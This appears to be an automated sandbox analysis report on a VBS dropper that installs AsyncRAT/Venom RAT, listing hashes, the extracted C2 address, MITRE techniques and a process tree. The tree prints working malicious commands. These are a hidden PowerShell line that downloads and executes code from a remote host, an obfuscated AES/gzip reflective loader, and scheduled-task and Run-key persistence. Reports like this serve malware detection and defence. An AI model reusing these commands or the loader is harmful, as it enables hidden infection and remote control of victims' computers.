asyncrat | 9f0e70dc0dcfc4cfdadd1e2d1c9678ed09a3e4d8eb2c742e454b8fe06256a7e2

Analysis

max time kernel
145s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12-12-2024 14:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

List of Required PN#_Desc_&_Qty Details.vbs
Size

79KB
MD5

c0e2ce250c4979a59970d22fd99f340f
SHA1

4e5ad3c3ed1e8871abfd8d0f8466b3ddbc521be0
SHA256

9f0e70dc0dcfc4cfdadd1e2d1c9678ed09a3e4d8eb2c742e454b8fe06256a7e2
SHA512

f6b43f831302a4760f0d6a8a6e822156b68423f6b0a8e313088007ec28e3e7fc0c9f1ba3659bdff7e7889faf6ec30eb8b826a0a3ebf8c3533b38b0318d483404
SSDEEP

1536:lcX2qy9/TpzprFm7xcGhX4y7t3t+JlpbebTQOsod:lcX2pl+HhXVxqild

Score

10^/10

asyncrat omen core i9 execution persistence rat

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

OMEN core i9

45.88.88.7:4164

Mutex

qqkyuzisfolbtlf

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/1952-64-0x0000028BEE550000-0x0000028BEE568000-memory.dmp	family_asyncrat

Blocklisted process makes network request 17 IoCs

flow	pid	Process
34	1952	powershell.exe
35	1952	powershell.exe
38	1952	powershell.exe
39	1952	powershell.exe
40	1952	powershell.exe
44	1952	powershell.exe
45	1952	powershell.exe
46	1952	powershell.exe
50	1952	powershell.exe
51	1952	powershell.exe
52	1952	powershell.exe
53	1952	powershell.exe
54	1952	powershell.exe
55	1952	powershell.exe
56	1952	powershell.exe
57	1952	powershell.exe
58	1952	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2204	powershell.exe
4600	powershell.exe
64	powershell.exe
1952	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MicrosoftService = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\system.bat\""	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
2204	powershell.exe
2204	powershell.exe
4600	powershell.exe
4600	powershell.exe
64	powershell.exe
64	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe
1952	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2204	powershell.exe
Token: SeDebugPrivilege	4600	powershell.exe
Token: SeDebugPrivilege	64	powershell.exe
Token: SeIncreaseQuotaPrivilege	64	powershell.exe
Token: SeSecurityPrivilege	64	powershell.exe
Token: SeTakeOwnershipPrivilege	64	powershell.exe
Token: SeLoadDriverPrivilege	64	powershell.exe
Token: SeSystemProfilePrivilege	64	powershell.exe
Token: SeSystemtimePrivilege	64	powershell.exe
Token: SeProfSingleProcessPrivilege	64	powershell.exe
Token: SeIncBasePriorityPrivilege	64	powershell.exe
Token: SeCreatePagefilePrivilege	64	powershell.exe
Token: SeBackupPrivilege	64	powershell.exe
Token: SeRestorePrivilege	64	powershell.exe
Token: SeShutdownPrivilege	64	powershell.exe
Token: SeDebugPrivilege	64	powershell.exe
Token: SeSystemEnvironmentPrivilege	64	powershell.exe
Token: SeRemoteShutdownPrivilege	64	powershell.exe
Token: SeUndockPrivilege	64	powershell.exe
Token: SeManageVolumePrivilege	64	powershell.exe
Token: 33	64	powershell.exe
Token: 34	64	powershell.exe
Token: 35	64	powershell.exe
Token: 36	64	powershell.exe
Token: SeIncreaseQuotaPrivilege	64	powershell.exe
Token: SeSecurityPrivilege	64	powershell.exe
Token: SeTakeOwnershipPrivilege	64	powershell.exe
Token: SeLoadDriverPrivilege	64	powershell.exe
Token: SeSystemProfilePrivilege	64	powershell.exe
Token: SeSystemtimePrivilege	64	powershell.exe
Token: SeProfSingleProcessPrivilege	64	powershell.exe
Token: SeIncBasePriorityPrivilege	64	powershell.exe
Token: SeCreatePagefilePrivilege	64	powershell.exe
Token: SeBackupPrivilege	64	powershell.exe
Token: SeRestorePrivilege	64	powershell.exe
Token: SeShutdownPrivilege	64	powershell.exe
Token: SeDebugPrivilege	64	powershell.exe
Token: SeSystemEnvironmentPrivilege	64	powershell.exe
Token: SeRemoteShutdownPrivilege	64	powershell.exe
Token: SeUndockPrivilege	64	powershell.exe
Token: SeManageVolumePrivilege	64	powershell.exe
Token: 33	64	powershell.exe
Token: 34	64	powershell.exe
Token: 35	64	powershell.exe
Token: 36	64	powershell.exe
Token: SeIncreaseQuotaPrivilege	64	powershell.exe
Token: SeSecurityPrivilege	64	powershell.exe
Token: SeTakeOwnershipPrivilege	64	powershell.exe
Token: SeLoadDriverPrivilege	64	powershell.exe
Token: SeSystemProfilePrivilege	64	powershell.exe
Token: SeSystemtimePrivilege	64	powershell.exe
Token: SeProfSingleProcessPrivilege	64	powershell.exe
Token: SeIncBasePriorityPrivilege	64	powershell.exe
Token: SeCreatePagefilePrivilege	64	powershell.exe
Token: SeBackupPrivilege	64	powershell.exe
Token: SeRestorePrivilege	64	powershell.exe
Token: SeShutdownPrivilege	64	powershell.exe
Token: SeDebugPrivilege	64	powershell.exe
Token: SeSystemEnvironmentPrivilege	64	powershell.exe
Token: SeRemoteShutdownPrivilege	64	powershell.exe
Token: SeUndockPrivilege	64	powershell.exe
Token: SeManageVolumePrivilege	64	powershell.exe
Token: 33	64	powershell.exe
Token: 34	64	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1952	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 2204	4592	WScript.exe	85
PID 4592 wrote to memory of 2204	4592	WScript.exe	85
PID 4592 wrote to memory of 2520	4592	WScript.exe	103
PID 4592 wrote to memory of 2520	4592	WScript.exe	103
PID 2520 wrote to memory of 1988	2520	cmd.exe	105
PID 2520 wrote to memory of 1988	2520	cmd.exe	105
PID 2520 wrote to memory of 4600	2520	cmd.exe	106
PID 2520 wrote to memory of 4600	2520	cmd.exe	106
PID 4600 wrote to memory of 64	4600	powershell.exe	107
PID 4600 wrote to memory of 64	4600	powershell.exe	107
PID 4600 wrote to memory of 2812	4600	powershell.exe	110
PID 4600 wrote to memory of 2812	4600	powershell.exe	110
PID 2812 wrote to memory of 1604	2812	WScript.exe	111
PID 2812 wrote to memory of 1604	2812	WScript.exe	111
PID 1604 wrote to memory of 2368	1604	cmd.exe	113
PID 1604 wrote to memory of 2368	1604	cmd.exe	113
PID 1604 wrote to memory of 1952	1604	cmd.exe	114
PID 1604 wrote to memory of 1952	1604	cmd.exe	114

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\List of Required PN#_Desc_&_Qty Details.vbs"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "iex (iwr -Uri https://emptyservices.xyz/vbs.txt -UseBasicParsing -Headers @{ 'Authorization' = 'your_fixed_token_here' })"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\system.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1Elx3Sctpo07VJY1RgoaRojmCs/l4e8YyOviovJt3MU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0frhhpE1hB3Q0RCUXEd+g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vNThT=New-Object System.IO.MemoryStream(,$param_var); $tYiMG=New-Object System.IO.MemoryStream; $LFBux=New-Object System.IO.Compression.GZipStream($vNThT, [IO.Compression.CompressionMode]::Decompress); $LFBux.CopyTo($tYiMG); $LFBux.Dispose(); $vNThT.Dispose(); $tYiMG.Dispose(); $tYiMG.ToArray();}function execute_function($param_var,$param2_var){ $zInbo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xuOPn=$zInbo.EntryPoint; $xuOPn.Invoke($null, $param2_var);}$Orgvi = 'C:\Users\Admin\AppData\Local\Temp\system.bat';$host.UI.RawUI.WindowTitle = $Orgvi;$gYhAt=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Orgvi).Split([Environment]::NewLine);foreach ($jYIFP in $gYhAt) { if ($jYIFP.StartsWith('hvdMXDExQOuXjNppwfgb')) { $JMsAA=$jYIFP.Substring(20); break; }}$payloads_var=[string[]]$JMsAA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4600
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_35_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_35.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:64
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_35.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:2812
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_35.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1604
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1Elx3Sctpo07VJY1RgoaRojmCs/l4e8YyOviovJt3MU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Y0frhhpE1hB3Q0RCUXEd+g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vNThT=New-Object System.IO.MemoryStream(,$param_var); $tYiMG=New-Object System.IO.MemoryStream; $LFBux=New-Object System.IO.Compression.GZipStream($vNThT, [IO.Compression.CompressionMode]::Decompress); $LFBux.CopyTo($tYiMG); $LFBux.Dispose(); $vNThT.Dispose(); $tYiMG.Dispose(); $tYiMG.ToArray();}function execute_function($param_var,$param2_var){ $zInbo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xuOPn=$zInbo.EntryPoint; $xuOPn.Invoke($null, $param2_var);}$Orgvi = 'C:\Users\Admin\AppData\Roaming\Windows_Log_35.bat';$host.UI.RawUI.WindowTitle = $Orgvi;$gYhAt=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($Orgvi).Split([Environment]::NewLine);foreach ($jYIFP in $gYhAt) { if ($jYIFP.StartsWith('hvdMXDExQOuXjNppwfgb')) { $JMsAA=$jYIFP.Substring(20); break; }}$payloads_var=[string[]]$JMsAA.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:2368
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:1952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8432f55d21c034cd767d75efdbd407e0

SHA1
d2163aac34f4277bd55162f2609c853348852869

SHA256
62f2b61b88e4cfae117a2bb2f93201b161ef0260de36492bb75194edb4bae27e

SHA512
6c191d49f01f7efba21f0dd438fe57efb1a9051ecd39adcaddf983341e1e0cd9740013fc56af43b4bb84e602320af27e756685b6b02e60adc2d6c611c4739368

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wgxi4nek.s2y.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\system.bat

Filesize
69KB

MD5
8078d12b395b01ad397cec896ae02a6a

SHA1
2a5b18660c4b2b40969651ca16a1ede64f3aecf5

SHA256
0c691215924b9a058ad733c185b1eb24f5b7be83206ad634a3027bd4641689a7

SHA512
df31dc5758e39eaf761d7874ed47ca42274a57b333e7469423c65ecf676e41494e08bb7cf051e21faf39a69fa0198576696e05f981952ce21d714e32cd3bee2a

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_35.vbs

Filesize
114B

MD5
88425a397008913b398756c37819c530

SHA1
048bcb1b329243ea1cf109940138c6c1c1ebd472

SHA256
f26f63f1384dcafaf7ed78685b5f9c1f8366cb79cdb139914a5a066f92139e1d

SHA512
8cf7ef0ee114b22b31569141c52aa9883aa3d4fb684bd24100b4ec553606fe00cf0dc4285a01feeb786d34cfade97637790c940a0254121dab1e2c00fa77df31

Download Submit
memory/1952-64-0x0000028BEE550000-0x0000028BEE568000-memory.dmp

Filesize
96KB

Download
memory/2204-12-0x00007FFF2B5F0000-0x00007FFF2C0B1000-memory.dmp

Filesize
10.8MB

Download
memory/2204-17-0x00007FFF2B5F0000-0x00007FFF2C0B1000-memory.dmp

Filesize
10.8MB

Download
memory/2204-16-0x00007FFF2B5F0000-0x00007FFF2C0B1000-memory.dmp

Filesize
10.8MB

Download
memory/2204-13-0x00007FFF2B5F0000-0x00007FFF2C0B1000-memory.dmp

Filesize
10.8MB

Download
memory/2204-0-0x00007FFF2B5F3000-0x00007FFF2B5F5000-memory.dmp

Filesize
8KB

Download
memory/2204-11-0x00007FFF2B5F0000-0x00007FFF2C0B1000-memory.dmp

Filesize
10.8MB

Download
memory/2204-3-0x0000024667250000-0x0000024667272000-memory.dmp

Filesize
136KB

Download
memory/4600-32-0x000001EB62250000-0x000001EB62294000-memory.dmp

Filesize
272KB

Download
memory/4600-33-0x000001EB626D0000-0x000001EB62746000-memory.dmp

Filesize
472KB

Download
memory/4600-34-0x000001EB62220000-0x000001EB62228000-memory.dmp

Filesize
32KB

Download
memory/4600-35-0x000001EB62230000-0x000001EB62242000-memory.dmp

Filesize
72KB

Download